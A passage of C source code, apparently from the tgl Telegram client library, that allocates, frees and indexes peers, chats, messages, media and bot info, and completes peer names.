tgl_peer_t *U = tgl_peer_get (TLS, TGL_MK_CHAT (DS_LVAL (DS_C->id))); 1573 | if (!U) { 1574 | TLS->chats_allocated ++; 1575 | U = talloc0 (sizeof (*U)); 1576 | U->id = TGL_MK_CHAT (DS_LVAL (DS_C->id)); 1577 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, U, lrand48 ()); 1578 | increase_peer_size (TLS); 1579 | TLS->Peers[TLS->peer_num ++] = U; 1580 | } 1581 | tglf_fetch_chat_new (TLS, &U->chat, DS_C); 1582 | return &U->chat; 1583 | } 1584 | 1585 | struct tgl_chat *tglf_fetch_alloc_chat_full_new (struct tgl_state *TLS, struct tl_ds_messages_chat_full *DS_MCF) { 1586 | tgl_peer_t *U = tgl_peer_get (TLS, TGL_MK_CHAT (DS_LVAL (DS_MCF->full_chat->id))); 1587 | if (U) { 1588 | tglf_fetch_chat_full_new (TLS, &U->chat, DS_MCF); 1589 | return &U->chat; 1590 | } else { 1591 | TLS->chats_allocated ++; 1592 | U = talloc0 (sizeof (*U)); 1593 | U->id = TGL_MK_CHAT (DS_LVAL (DS_MCF->full_chat->id)); 1594 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, U, lrand48 ()); 1595 | tglf_fetch_chat_full_new (TLS, &U->chat, DS_MCF); 1596 | increase_peer_size (TLS); 1597 | TLS->Peers[TLS->peer_num ++] = U; 1598 | return &U->chat; 1599 | } 1600 | } 1601 | 1602 | struct tgl_bot_info *tglf_fetch_alloc_bot_info (struct tgl_state *TLS, struct tl_ds_bot_info *DS_BI) { 1603 | if (!DS_BI || DS_BI->magic == CODE_bot_info_empty) { return NULL; } 1604 | struct tgl_bot_info *B = talloc (sizeof (*B)); 1605 | B->version = DS_LVAL (DS_BI->version); 1606 | B->share_text = DS_STR_DUP (DS_BI->share_text); 1607 | B->description = DS_STR_DUP (DS_BI->description); 1608 | 1609 | B->commands_num = DS_LVAL (DS_BI->commands->cnt); 1610 | B->commands = talloc (sizeof (struct tgl_bot_command) * B->commands_num); 1611 | int i; 1612 | for (i = 0; i < B->commands_num; i++) { 1613 | struct tl_ds_bot_command *BC = DS_BI->commands->data[i]; 1614 | B->commands[i].command = DS_STR_DUP (BC->command); 1615 | B->commands[i].description = DS_STR_DUP (BC->description); 1616 | } 1617 | return B; 1618 | } 1619 | 1620 | struct tgl_message_reply_markup *tglf_fetch_alloc_reply_markup (struct tgl_state *TLS, struct tgl_message *M, struct tl_ds_reply_markup *DS_RM) { 1621 | if (!DS_RM) { return NULL; } 1622 | 1623 | struct tgl_message_reply_markup *R = talloc0 (sizeof (*R)); 1624 | R->flags = DS_LVAL (DS_RM->flags); 1625 | R->refcnt = 1; 1626 | 1627 | R->rows = DS_RM->rows ? DS_LVAL (DS_RM->rows->cnt) : 0; 1628 | 1629 | int total = 0; 1630 | R->row_start = talloc ((R->rows + 1) * 4); 1631 | R->row_start[0] = 0; 1632 | int i; 1633 | for (i = 0; i < R->rows; i++) { 1634 | struct tl_ds_keyboard_button_row *DS_K = DS_RM->rows->data[i]; 1635 | total += DS_LVAL (DS_K->buttons->cnt); 1636 | R->row_start[i + 1] = total; 1637 | } 1638 | R->buttons = talloc (sizeof (void *) * total); 1639 | int r = 0; 1640 | for (i = 0; i < R->rows; i++) { 1641 | struct tl_ds_keyboard_button_row *DS_K = DS_RM->rows->data[i]; 1642 | int j; 1643 | for (j = 0; j < DS_LVAL (DS_K->buttons->cnt); j++) { 1644 | struct tl_ds_keyboard_button *DS_KB = DS_K->buttons->data[j]; 1645 | R->buttons[r ++] = DS_STR_DUP (DS_KB->text); 1646 | } 1647 | } 1648 | assert (r == total); 1649 | return R; 1650 | } 1651 | /* }}} */ 1652 | 1653 | void tglp_insert_encrypted_chat (struct tgl_state *TLS, tgl_peer_t *P) { 1654 | TLS->encr_chats_allocated ++; 1655 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, P, lrand48 ()); 1656 | increase_peer_size (TLS); 1657 | TLS->Peers[TLS->peer_num ++] = P; 1658 | } 1659 | 1660 | void tglp_insert_user (struct tgl_state *TLS, tgl_peer_t *P) { 1661 | TLS->users_allocated ++; 1662 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, P, lrand48 ()); 1663 | increase_peer_size (TLS); 1664 | TLS->Peers[TLS->peer_num ++] = P; 1665 | } 1666 | 1667 | void tglp_insert_chat (struct tgl_state *TLS, tgl_peer_t *P) { 1668 | TLS->chats_allocated ++; 1669 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, P, lrand48 ()); 1670 | increase_peer_size (TLS); 1671 | TLS->Peers[TLS->peer_num ++] = P; 1672 | } 1673 | 1674 | void tgl_insert_empty_user (struct tgl_state *TLS, int uid) { 1675 | tgl_peer_id_t id = TGL_MK_USER (uid); 1676 | if (tgl_peer_get (TLS, id)) { return; } 1677 | tgl_peer_t *P = talloc0 (sizeof (*P)); 1678 | P->id = id; 1679 | tglp_insert_user (TLS, P); 1680 | } 1681 | 1682 | void tgl_insert_empty_chat (struct tgl_state *TLS, int cid) { 1683 | tgl_peer_id_t id = TGL_MK_CHAT (cid); 1684 | if (tgl_peer_get (TLS, id)) { return; } 1685 | tgl_peer_t *P = talloc0 (sizeof (*P)); 1686 | P->id = id; 1687 | tglp_insert_chat (TLS, P); 1688 | } 1689 | 1690 | /* {{{ Free */ 1691 | 1692 | void tgls_free_photo_size (struct tgl_state *TLS, struct tgl_photo_size *S) { 1693 | tfree_str (S->type); 1694 | if (S->data) { 1695 | tfree (S->data, S->size); 1696 | } 1697 | } 1698 | 1699 | void tgls_free_photo (struct tgl_state *TLS, struct tgl_photo *P) { 1700 | if (--P->refcnt) { 1701 | assert (P->refcnt > 0); 1702 | return; 1703 | } 1704 | if (P->caption) { tfree_str (P->caption); } 1705 | if (P->sizes) { 1706 | int i; 1707 | for (i = 0; i < P->sizes_num; i++) { 1708 | tgls_free_photo_size (TLS, &P->sizes[i]); 1709 | } 1710 | tfree (P->sizes, sizeof (struct tgl_photo_size) * P->sizes_num); 1711 | } 1712 | TLS->photo_tree = tree_delete_photo (TLS->photo_tree, P); 1713 | tfree (P, sizeof (*P)); 1714 | } 1715 | 1716 | void tgls_free_document (struct tgl_state *TLS, struct tgl_document *D) { 1717 | if (--D->refcnt) { 1718 | assert (D->refcnt); 1719 | return; 1720 | } 1721 | if (D->mime_type) { tfree_str (D->mime_type);} 1722 | if (D->caption) {tfree_str (D->caption);} 1723 | tgls_free_photo_size (TLS, &D->thumb); 1724 | 1725 | TLS->document_tree = tree_delete_document (TLS->document_tree, D); 1726 | tfree (D, sizeof (*D)); 1727 | } 1728 | 1729 | void tgls_free_webpage (struct tgl_state *TLS, struct tgl_webpage *W) { 1730 | if (--W->refcnt) { 1731 | assert (W->refcnt); 1732 | return; 1733 | } 1734 | if (W->url) { tfree_str (W->url); } 1735 | if (W->display_url) { tfree_str (W->display_url); } 1736 | if (W->title) { tfree_str (W->title); } 1737 | if (W->site_name) { tfree_str (W->site_name); } 1738 | if (W->type) { tfree_str (W->type); } 1739 | if (W->description) { tfree_str (W->description); } 1740 | if (W->photo) { tgls_free_photo (TLS, W->photo); } 1741 | if (W->embed_url) { tfree_str (W->embed_url); } 1742 | if (W->embed_type) { tfree_str (W->embed_type); } 1743 | if (W->author) { tfree_str (W->author); } 1744 | 1745 | TLS->webpage_tree = tree_delete_webpage (TLS->webpage_tree, W); 1746 | tfree (W, sizeof (*W)); 1747 | } 1748 | 1749 | void tgls_free_message_media (struct tgl_state *TLS, struct tgl_message_media *M) { 1750 | switch (M->type) { 1751 | case tgl_message_media_none: 1752 | case tgl_message_media_geo: 1753 | return; 1754 | case tgl_message_media_photo: 1755 | tgls_free_photo (TLS, M->photo); 1756 | M->photo = NULL; 1757 | return; 1758 | case tgl_message_media_contact: 1759 | tfree_str (M->phone); 1760 | tfree_str (M->first_name); 1761 | tfree_str (M->last_name); 1762 | return; 1763 | case tgl_message_media_document: 1764 | tgls_free_document (TLS, M->document); 1765 | return; 1766 | case tgl_message_media_unsupported: 1767 | tfree (M->data, M->data_size); 1768 | return; 1769 | case tgl_message_media_document_encr: 1770 | tfree_secure (M->encr_document->key, 32); 1771 | tfree_secure (M->encr_document->iv, 32); 1772 | tfree (M->encr_document, sizeof (*M->encr_document)); 1773 | return; 1774 | case tgl_message_media_webpage: 1775 | tgls_free_webpage (TLS, M->webpage); 1776 | return; 1777 | case tgl_message_media_venue: 1778 | if (M->venue.title) { tfree_str (M->venue.title); } 1779 | if (M->venue.address) { tfree_str (M->venue.address); } 1780 | if (M->venue.provider) { tfree_str (M->venue.provider); } 1781 | if (M->venue.venue_id) { tfree_str (M->venue.venue_id); } 1782 | return; 1783 | default: 1784 | vlogprintf (E_ERROR, "type = 0x%08x\n", M->type); 1785 | assert (0); 1786 | } 1787 | } 1788 | 1789 | void tgls_free_message_action (struct tgl_state *TLS, struct tgl_message_action *M) { 1790 | switch (M->type) { 1791 | case tgl_message_action_none: 1792 | return; 1793 | case tgl_message_action_chat_create: 1794 | tfree_str (M->title); 1795 | tfree (M->users, M->user_num * 4); 1796 | return; 1797 | case tgl_message_action_chat_edit_title: 1798 | tfree_str (M->new_title); 1799 | return; 1800 | case tgl_message_action_chat_edit_photo: 1801 | tgls_free_photo (TLS, M->photo); 1802 | M->photo = NULL; 1803 | return; 1804 | case tgl_message_action_chat_delete_photo: 1805 | case tgl_message_action_chat_add_user: 1806 | case tgl_message_action_chat_add_user_by_link: 1807 | case tgl_message_action_chat_delete_user: 1808 | case tgl_message_action_geo_chat_create: 1809 | case tgl_message_action_geo_chat_checkin: 1810 | case tgl_message_action_set_message_ttl: 1811 | case tgl_message_action_read_messages: 1812 | case tgl_message_action_delete_messages: 1813 | case tgl_message_action_screenshot_messages: 1814 | case tgl_message_action_flush_history: 1815 | case tgl_message_action_typing: 1816 | case tgl_message_action_resend: 1817 | case tgl_message_action_notify_layer: 1818 | case tgl_message_action_commit_key: 1819 | case tgl_message_action_abort_key: 1820 | case tgl_message_action_noop: 1821 | return; 1822 | case tgl_message_action_request_key: 1823 | case tgl_message_action_accept_key: 1824 | tfree (M->g_a, 256); 1825 | return; 1826 | /* default: 1827 | vlogprintf (E_ERROR, "type = 0x%08x\n", M->type); 1828 | assert (0);*/ 1829 | } 1830 | vlogprintf (E_ERROR, "type = 0x%08x\n", M->type); 1831 | assert (0); 1832 | } 1833 | 1834 | void tgls_clear_message (struct tgl_state *TLS, struct tgl_message *M) { 1835 | if (!(M->flags & TGLMF_SERVICE)) { 1836 | if (M->message) { tfree (M->message, M->message_len + 1); } 1837 | tgls_free_message_media (TLS, &M->media); 1838 | } else { 1839 | tgls_free_message_action (TLS, &M->action); 1840 | } 1841 | } 1842 | 1843 | void tgls_free_reply_markup (struct tgl_state *TLS, struct tgl_message_reply_markup *R) { 1844 | if (!--R->refcnt) { 1845 | tfree (R->buttons, R->row_start[R->rows] * sizeof (void *)); 1846 | tfree (R->row_start, 4 * (R->rows + 1)); 1847 | tfree (R, sizeof (*R)); 1848 | } else { 1849 | assert (R->refcnt > 0); 1850 | } 1851 | } 1852 | 1853 | void tgls_free_message (struct tgl_state *TLS, struct tgl_message *M) { 1854 | tgls_clear_message (TLS, M); 1855 | if (M->reply_markup) { 1856 | tgls_free_reply_markup (TLS, M->reply_markup); 1857 | } 1858 | tfree (M, sizeof (*M)); 1859 | } 1860 | 1861 | void tgls_free_chat (struct tgl_state *TLS, struct tgl_chat *U) { 1862 | if (U->title) { tfree_str (U->title); } 1863 | if (U->print_title) { tfree_str (U->print_title); } 1864 | if (U->user_list) { 1865 | tfree (U->user_list, U->user_list_size * 12); 1866 | } 1867 | if (U->photo) { tgls_free_photo (TLS, U->photo); } 1868 | tfree (U, sizeof (*U)); 1869 | } 1870 | 1871 | void tgls_free_user (struct tgl_state *TLS, struct tgl_user *U) { 1872 | if (U->first_name) { tfree_str (U->first_name); } 1873 | if (U->last_name) { tfree_str (U->last_name); } 1874 | if (U->print_name) { tfree_str (U->print_name); } 1875 | if (U->phone) { tfree_str (U->phone); } 1876 | if (U->real_first_name) { tfree_str (U->real_first_name); } 1877 | if (U->real_last_name) { tfree_str (U->real_last_name); } 1878 | if (U->status.ev) { tgl_remove_status_expire (TLS, U); } 1879 | if (U->photo) { tgls_free_photo (TLS, U->photo); } 1880 | tfree (U, sizeof (*U)); 1881 | } 1882 | 1883 | void tgls_free_encr_chat (struct tgl_state *TLS, struct tgl_secret_chat *U) { 1884 | if (U->print_name) { tfree_str (U->print_name); } 1885 | if (U->g_key) { tfree (U->g_key, 256); } 1886 | tfree (U, sizeof (*U)); 1887 | } 1888 | 1889 | void tgls_free_peer (struct tgl_state *TLS, tgl_peer_t *P) { 1890 | if (tgl_get_peer_type (P->id) == TGL_PEER_USER) { 1891 | tgls_free_user (TLS, (void *)P); 1892 | } else if (tgl_get_peer_type (P->id) == TGL_PEER_CHAT) { 1893 | tgls_free_chat (TLS, (void *)P); 1894 | } else if (tgl_get_peer_type (P->id) == TGL_PEER_ENCR_CHAT) { 1895 | tgls_free_encr_chat (TLS, (void *)P); 1896 | } else { 1897 | assert (0); 1898 | } 1899 | } 1900 | 1901 | void tgls_free_bot_info (struct tgl_state *TLS, struct tgl_bot_info *B) { 1902 | if (!B) { return; } 1903 | int i; 1904 | for (i = 0; i < B->commands_num; i++) { 1905 | tfree_str (B->commands[i].command); 1906 | tfree_str (B->commands[i].description); 1907 | } 1908 | tfree (B->commands, sizeof (struct tgl_bot_command) * B->commands_num); 1909 | tfree_str (B->share_text); 1910 | tfree_str (B->description); 1911 | tfree (B, sizeof (*B)); 1912 | } 1913 | /* }}} */ 1914 | 1915 | /* Messages {{{ */ 1916 | 1917 | void tglm_message_del_use (struct tgl_state *TLS, struct tgl_message *M) { 1918 | M->next_use->prev_use = M->prev_use; 1919 | M->prev_use->next_use = M->next_use; 1920 | } 1921 | 1922 | void tglm_message_add_use (struct tgl_state *TLS, struct tgl_message *M) { 1923 | M->next_use = TLS->message_list.next_use; 1924 | M->prev_use = &TLS->message_list; 1925 | M->next_use->prev_use = M; 1926 | M->prev_use->next_use = M; 1927 | } 1928 | 1929 | void tglm_message_add_peer (struct tgl_state *TLS, struct tgl_message *M) { 1930 | tgl_peer_id_t id; 1931 | if (!tgl_cmp_peer_id (M->to_id, TGL_MK_USER (TLS->our_id))) { 1932 | id = M->from_id; 1933 | } else { 1934 | id = M->to_id; 1935 | } 1936 | tgl_peer_t *P = tgl_peer_get (TLS, id); 1937 | if (!P) { 1938 | P = talloc0 (sizeof (*P)); 1939 | P->id = id; 1940 | switch (tgl_get_peer_type (id)) { 1941 | case TGL_PEER_USER: 1942 | TLS->users_allocated ++; 1943 | break; 1944 | case TGL_PEER_CHAT: 1945 | TLS->chats_allocated ++; 1946 | break; 1947 | case TGL_PEER_GEO_CHAT: 1948 | TLS->geo_chats_allocated ++; 1949 | break; 1950 | case TGL_PEER_ENCR_CHAT: 1951 | TLS->encr_chats_allocated ++; 1952 | break; 1953 | } 1954 | TLS->peer_tree = tree_insert_peer (TLS->peer_tree, P, lrand48 ()); 1955 | increase_peer_size (TLS); 1956 | TLS->Peers[TLS->peer_num ++] = P; 1957 | } 1958 | if (!P->last) { 1959 | P->last = M; 1960 | M->prev = M->next = 0; 1961 | } else { 1962 | if (tgl_get_peer_type (P->id) != TGL_PEER_ENCR_CHAT) { 1963 | struct tgl_message *N = P->last; 1964 | struct tgl_message *NP = 0; 1965 | while (N && N->id > M->id) { 1966 | NP = N; 1967 | N = N->next; 1968 | } 1969 | if (N) { 1970 | assert (N->id < M->id); 1971 | } 1972 | M->next = N; 1973 | M->prev = NP; 1974 | if (N) { N->prev = M; } 1975 | if (NP) { NP->next = M; } 1976 | else { P->last = M; } 1977 | } else { 1978 | struct tgl_message *N = P->last; 1979 | struct tgl_message *NP = 0; 1980 | M->next = N; 1981 | M->prev = NP; 1982 | if (N) { N->prev = M; } 1983 | if (NP) { NP->next = M; } 1984 | else { P->last = M; } 1985 | } 1986 | } 1987 | } 1988 | 1989 | void tglm_message_del_peer (struct tgl_state *TLS, struct tgl_message *M) { 1990 | tgl_peer_id_t id; 1991 | if (!tgl_cmp_peer_id (M->to_id, TGL_MK_USER (TLS->our_id))) { 1992 | id = M->from_id; 1993 | } else { 1994 | id = M->to_id; 1995 | } 1996 | tgl_peer_t *P = tgl_peer_get (TLS, id); 1997 | if (M->prev) { 1998 | M->prev->next = M->next; 1999 | } 2000 | if (M->next) { 2001 | M->next->prev = M->prev; 2002 | } 2003 | if (P && P->last == M) { 2004 | P->last = M->next; 2005 | } 2006 | } 2007 | 2008 | struct tgl_message *tglm_message_alloc (struct tgl_state *TLS, long long id) { 2009 | struct tgl_message *M = talloc0 (sizeof (*M)); 2010 | M->id = id; 2011 | tglm_message_insert_tree (TLS, M); 2012 | TLS->messages_allocated ++; 2013 | return M; 2014 | } 2015 | 2016 | void tglm_message_insert_tree (struct tgl_state *TLS, struct tgl_message *M) { 2017 | assert (M->id); 2018 | TLS->message_tree = tree_insert_message (TLS->message_tree, M, lrand48 ()); 2019 | } 2020 | 2021 | void tglm_message_remove_tree (struct tgl_state *TLS, struct tgl_message *M) { 2022 | assert (M->id); 2023 | TLS->message_tree = tree_delete_message (TLS->message_tree, M); 2024 | } 2025 | 2026 | void tglm_message_insert (struct tgl_state *TLS, struct tgl_message *M) { 2027 | tglm_message_add_use (TLS, M); 2028 | tglm_message_add_peer (TLS, M); 2029 | } 2030 | 2031 | void tglm_message_insert_unsent (struct tgl_state *TLS, struct tgl_message *M) { 2032 | TLS->message_unsent_tree = tree_insert_message (TLS->message_unsent_tree, M, lrand48 ()); 2033 | } 2034 | 2035 | void tglm_message_remove_unsent (struct tgl_state *TLS, struct tgl_message *M) { 2036 | TLS->message_unsent_tree = tree_delete_message (TLS->message_unsent_tree, M); 2037 | } 2038 | 2039 | static void __send_msg (struct tgl_message *M, void *_TLS) { 2040 | struct tgl_state *TLS = _TLS; 2041 | vlogprintf (E_NOTICE, "Resending message...\n"); 2042 | //print_message (M); 2043 | 2044 | if (M->media.type != tgl_message_media_none) { 2045 | assert (M->flags & TGLMF_ENCRYPTED); 2046 | bl_do_message_delete (TLS, M); 2047 | } else { 2048 | tgl_do_send_msg (TLS, M, 0, 0); 2049 | } 2050 | } 2051 | 2052 | void tglm_send_all_unsent (struct tgl_state *TLS) { 2053 | tree_act_ex_message (TLS->message_unsent_tree, __send_msg, TLS); 2054 | } 2055 | /* }}} */ 2056 | 2057 | struct tgl_photo *tgl_photo_get (struct tgl_state *TLS, long long id) { 2058 | struct tgl_photo P; 2059 | P.id = id; 2060 | return tree_lookup_photo (TLS->photo_tree, &P); 2061 | } 2062 | 2063 | void tgl_photo_insert (struct tgl_state *TLS, struct tgl_photo *P) { 2064 | TLS->photo_tree = tree_insert_photo (TLS->photo_tree, P, lrand48 ()); 2065 | } 2066 | 2067 | struct tgl_document *tgl_document_get (struct tgl_state *TLS, long long id) { 2068 | struct tgl_document P; 2069 | P.id = id; 2070 | return tree_lookup_document (TLS->document_tree, &P); 2071 | } 2072 | 2073 | void tgl_document_insert (struct tgl_state *TLS, struct tgl_document *P) { 2074 | TLS->document_tree = tree_insert_document (TLS->document_tree, P, lrand48 ()); 2075 | } 2076 | 2077 | struct tgl_webpage *tgl_webpage_get (struct tgl_state *TLS, long long id) { 2078 | struct tgl_webpage P; 2079 | P.id = id; 2080 | return tree_lookup_webpage (TLS->webpage_tree, &P); 2081 | } 2082 | 2083 | void tgl_webpage_insert (struct tgl_state *TLS, struct tgl_webpage *P) { 2084 | TLS->webpage_tree = tree_insert_webpage (TLS->webpage_tree, P, lrand48 ()); 2085 | } 2086 | 2087 | void tglp_peer_insert_name (struct tgl_state *TLS, tgl_peer_t *P) { 2088 | TLS->peer_by_name_tree = tree_insert_peer_by_name (TLS->peer_by_name_tree, P, lrand48 ()); 2089 | } 2090 | 2091 | void tglp_peer_delete_name (struct tgl_state *TLS, tgl_peer_t *P) { 2092 | TLS->peer_by_name_tree = tree_delete_peer_by_name (TLS->peer_by_name_tree, P); 2093 | } 2094 | 2095 | tgl_peer_t *tgl_peer_get (struct tgl_state *TLS, tgl_peer_id_t id) { 2096 | static tgl_peer_t U; 2097 | U.id = id; 2098 | return tree_lookup_peer (TLS->peer_tree, &U); 2099 | } 2100 | 2101 | struct tgl_message *tgl_message_get (struct tgl_state *TLS, long long id) { 2102 | struct tgl_message M; 2103 | M.id = id; 2104 | return tree_lookup_message (TLS->message_tree, &M); 2105 | } 2106 | 2107 | tgl_peer_t *tgl_peer_get_by_name (struct tgl_state *TLS, const char *s) { 2108 | static tgl_peer_t P; 2109 | P.print_name = (void *)s; 2110 | tgl_peer_t *R = tree_lookup_peer_by_name (TLS->peer_by_name_tree, &P); 2111 | return R; 2112 | } 2113 | 2114 | void tgl_peer_iterator_ex (struct tgl_state *TLS, void (*it)(tgl_peer_t *P, void *extra), void *extra) { 2115 | tree_act_ex_peer (TLS->peer_tree, it, extra); 2116 | } 2117 | 2118 | int tgl_complete_user_list (struct tgl_state *TLS, int index, const char *text, int len, char **R) { 2119 | index ++; 2120 | while (index < TLS->peer_num && (!TLS->Peers[index]->print_name || strncmp (TLS->Peers[index]->print_name, text, len) || tgl_get_peer_type (TLS->Peers[index]->id) != TGL_PEER_USER)) { 2121 | index ++; 2122 | } 2123 | if (index < TLS->peer_num) { 2124 | *R = strdup (TLS->Peers[index]->print_name); 2125 | assert (*R); 2126 | return index; 2127 | } else { 2128 | return -1; 2129 | } 2130 | } 2131 | 2132 | int tgl_complete_chat_list (struct tgl_state *TLS, int index, const char *text, int len, char **R) { 2133 | index ++; 2134 | while (index < TLS->peer_num && (!TLS->Peers[index]->print_name || strncmp (TLS->Peers[index]->print_name, text, len) || tgl_get_peer_type (TLS->Peers[index]->id) != TGL_PEER_CHAT)) { 2135 | index ++; 2136 | } 2137 | if (index < TLS->peer_num) { 2138 | *R = strdup (TLS->Peers[index]->print_name); 2139 | assert (*R); 2140 | return index; 2141 | } else { 2142 | return -1; 2143 | } 2144 | } 2145 | 2146 | int tgl_complete_encr_chat_list (struct tgl_state *TLS, int index, const char *text, int len, char **R) { 2147 | index ++; 2148 | while (index < TLS->peer_num && (!TLS->Peers[index]->print_name || strncmp (TLS->Peers[index]->print_name, text, len) || tgl_get_peer_type (TLS->Peers[index]->id) != TGL_PEER_ENCR_CHAT)) { 2149 | index ++; 2150 | } 2151 | if (index < TLS->peer_num) { 2152 | *R = strdup (TLS->Peers[index]->print_name); 2153 | assert (*R); 2154 | return index; 2155 | } else { 2156 | return -1; 2157 | } 2158 | } 2159 | 2160 | int tgl_complete_peer_list (struct tgl_state *TLS, int index, const char *text, int len, char **R) { 2161 | index ++; 2162 | while (index < TLS->peer_num && (!TLS->Peers[index]->print_name || strncmp (TLS->Peers[index]->print_name, text, len))) { 2163 | index ++; 2164 | } 2165 | if (index < TLS->peer_num) { 2166 | *R = strdup (TLS->Peers[index]->print_name); 2167 | assert (*R); 2168 | return index; 2169 | } else { 2170 | return -1; 2171 | } 2172 | } 2173 | 2174 | int tgl_secret_chat_for_user (struct tgl_state *TLS, tgl_peer_id_t user_id) { 2175 | int index = 0; 2176 | while (index < TLS->peer_num && (tgl_get_peer_type (TLS->Peers[index]->id) != TGL_PEER_ENCR_CHAT || TLS->Peers[index]->encr_chat.user_id != tgl_get_peer_id (user_id) || TLS->Peers[index]->encr_chat.state != sc_ok)) { 2177 | index ++; 2178 | } 2179 | if (index < TLS->peer_num) { 2180 | return tgl_get_peer_id (TLS->Peers[index]->encr_chat.id); 2181 | } else { 2182 | return -1; 2183 | } 2184 | } 2185 | 2186 | void tgls_free_peer_gw (tgl_peer_t *P, void *TLS) { 2187 | tgls_free_peer (TLS, P); 2188 | } 2189 | 2190 | void tgls_free_message_gw (struct tgl_message *M, void *TLS) { 2191 | tgls_free_message (TLS, M); 2192 | } 2193 | 2194 | void tgl_free_all (struct tgl_state *TLS) { 2195 | tree_act_ex_peer (TLS->peer_tree, tgls_free_peer_gw, TLS); 2196 | TLS->peer_tree = tree_clear_peer (TLS->peer_tree); 2197 | TLS->peer_by_name_tree = tree_clear_peer_by_name (TLS->peer_by_name_tree); 2198 | tree_act_ex_message (TLS->message_tree, tgls_free_message_gw, TLS); 2199 | TLS->message_tree = tree_clear_message (TLS->message_tree); 2200 | tree_act_ex_message (TLS->message_unsent_tree, tgls_free_message_gw, TLS); 2201 | TLS->message_unsent_tree = tree_clear_message (TLS->message_unsent_tree); 2202 | tglq_query_free_all (TLS); 2203 | 2204 | if (TLS->encr_prime) { tfree (TLS->encr_prime, 256); } 2205 | 2206 | 2207 | if (TLS->binlog_name) { tfree_str (TLS->binlog_name); } 2208 | if (TLS->auth_file) { tfree_str (TLS->auth_file); } 2209 | if (TLS->downloads_directory) { tfree_str (TLS->downloads_directory); } 2210 | 2211 | int i; 2212 | for (i = 0; i < TLS->rsa_key_num; i++) { 2213 | tfree_str (TLS->rsa_key_list[i]); 2214 | } 2215 | 2216 | for (i = 0; i <= TLS->max_dc_num; i++) if (TLS->DC_list[i]) { 2217 | tgls_free_dc (TLS, TLS->DC_list[i]); 2218 | } 2219 | BN_CTX_free (TLS->BN_ctx); 2220 | tgls_free_pubkey (TLS); 2221 | 2222 | if (TLS->ev_login) { TLS->timer_methods->free (TLS->ev_login); } 2223 | if (TLS->online_updates_timer) { TLS->timer_methods->free (TLS->online_updates_timer); } 2224 | } 2225 | 2226 | int tgl_print_stat (struct tgl_state *TLS, char *s, int len) { 2227 | return tsnprintf (s, len, 2228 | "users_allocated\t%d\n" 2229 | "chats_allocated\t%d\n" 2230 | "encr_chats_allocated\t%d\n" 2231 | "peer_num\t%d\n" 2232 | "messages_allocated\t%d\n", 2233 | TLS->users_allocated, 2234 | TLS->chats_allocated, 2235 | TLS->encr_chats_allocated, 2236 | TLS->peer_num, 2237 | TLS->messages_allocated 2238 | ); 2239 | } 2240 | 2241 | void tglf_fetch_int_array (int *dst, struct tl_ds_vector *src, int len) { 2242 | int i; 2243 | assert (len <= *src->f1); 2244 | for (i = 0; i < len; i++) { 2245 | dst[i] = *(int *)src->f2[i]; 2246 | } 2247 | } 2248 | 2249 | void tglf_fetch_int_tuple (int *dst, int **src, int len) { 2250 | int i; 2251 | for (i = 0; i < len; i++) { 2252 | dst[i] = *src[i]; 2253 | } 2254 | } 2255 | 2256 | 2257 | void tgls_messages_mark_read (struct tgl_state *TLS, struct tgl_message *M, int out, int seq) { 2258 | while (M && M->id > seq) { 2259 | if ((M->flags & TGLMF_OUT) == out) { 2260 | if (!(M->flags & TGLMF_UNREAD)) { 2261 | return; 2262 | } 2263 | } 2264 | M = M->next; 2265 | } 2266 | while (M) { 2267 | if ((M->flags & TGLMF_OUT) == out) { 2268 | if (M->flags & TGLMF_UNREAD) { 2269 | M->flags &= ~TGLMF_UNREAD; 2270 | TLS->callback.marked_read (TLS, 1, &M); 2271 | } else { 2272 | return; 2273 | } 2274 | } 2275 | M = M->next; 2276 | } 2277 | } 2278 | 2279 | void tgls_insert_random2local (struct tgl_state *TLS, long long random_id, int local_id) { 2280 | struct random2local *X = talloc (sizeof (*X)); 2281 | X->random_id = random_id; 2282 | X->local_id = local_id; 2283 | 2284 | struct random2local *R = tree_lookup_random_id (TLS->random_id_tree, X); 2285 | assert (!R); 2286 | 2287 | TLS->random_id_tree = tree_insert_random_id (TLS->random_id_tree, X, lrand48 ()); 2288 | } 2289 | 2290 | int tgls_get_local_by_random (struct tgl_state *TLS, long long random_id) { 2291 | struct random2local X; 2292 | X.random_id = random_id; 2293 | struct random2local *Y = tree_lookup_random_id (TLS->random_id_tree, &X); 2294 | if (Y) { 2295 | TLS->random_id_tree = tree_delete_random_id (TLS->random_id_tree, Y); 2296 | int y = Y->local_id; 2297 | tfree (Y, sizeof (*Y)); 2298 | return y; 2299 | } else { 2300 | return 0; 2301 | } 2302 | } 2303 | --------------------------------------------------------------------------------